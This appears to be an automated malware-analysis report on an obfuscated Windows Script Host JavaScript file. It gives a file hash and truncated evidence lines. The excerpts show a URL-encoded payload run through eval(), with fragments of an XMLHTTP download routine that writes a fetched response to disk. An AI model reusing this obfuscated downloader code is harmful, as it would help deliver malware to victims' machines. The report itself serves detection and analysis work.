20160328_ab001adb974e9780dd3e12fef9d72930.js
Obfuscated WScript payload execution
eval() executing transformed codeText has empty named-parameter catch
SHA-256e8366cc918de2011f9af581da46a36f30c1ff8e51246232d7f4e76f3d4e6b1c8
MaleculeK(Li)O₃(As₂SXe)H₂(Db₅Po)Md
Evidence
1eval(valueIsBorderBox("var%20rkeyEvent%20%3D%20%28%22se%22%29%3Braw%20%3D%20%28%22/DUs%22%29%3B%20tween%20%3D%20%28143%29%3B%20rbuggyMatches%20%3D%20%28%22State%22%29%3Bvar%20func%20%3D%20%28%22pe%22%29%2C%20charCode%20%3D%20%28%22p%22%29%2C%20margin%20%3D%20%28168%29%2C%20marginDiv%20%3D%20%28%22P.3.%22%29%3Bvar%20relatedTarget%20%3D%20%28%22dro.c%22%29%2C%20minWidth%20%3D%20%2812%29%2C%20attaches%20%3D%20%28%22app%22%29%3BmozMatchesSelector%20%3D%20%28function%20fired%28%29%7B%7D%2C%204858%29%3B%20siblings%20%3D%20%28%22G%22%29%3Bsetup%20%3D%20%28%22n%22%29%3B%20rmsPrefix%20%3D%20%2844%29%3B%20pageX …
1:2805… 20%28%22nvir%22%29%3Bvar%20dest%20%3D%20%28%22verXML%22%29%2C%20responseHeaders%20%3D%20%28%22.6.0%22%29%2C%20pipe%20%3D%20%28%22SaveTo%22%29%3BgetWidthOrHeight%20%3D%20%28%22d%22%29%3B%20contextBackup%20%3D …
1:3386… %3B"));
2preDispatch = Symbol = doc = list = fired.replaceAll();
3context();
4maxWidth(genFx, camel, protocol, rmsPrefix);
5tweeners(notify, compare, hooks);
6v(callbackContext, getWidthOrHeight, removeEvent …
15:2… readyList(shift, wait, wait);
16 nextUntil(clearInterval);
17 reliableMarginRight[rkeyEvent + "n" + getWidthOrHeight]();
18 break;
19 } catch (addClass) {
20
21 }
22 }
23
24 while (reliableMarginRight["ready" + rbuggyMatches] != (2 * (hookFn, 32, tween, 2))) Symbol["WScri" + camel]["Slee" + char …
26:24… t["statu" + curLeft] == ((5824 & mozMatchesSelector) / 24)) {
27 soFar["o" + func + "n"]();
28 soFar[selection + "te"](reliableMarginRight[matchers + "nseBo" + a]);
29 beforeSend(id, disabled, _default, setMatcher, mozMatchesSelector);
30 xml(rsubmi …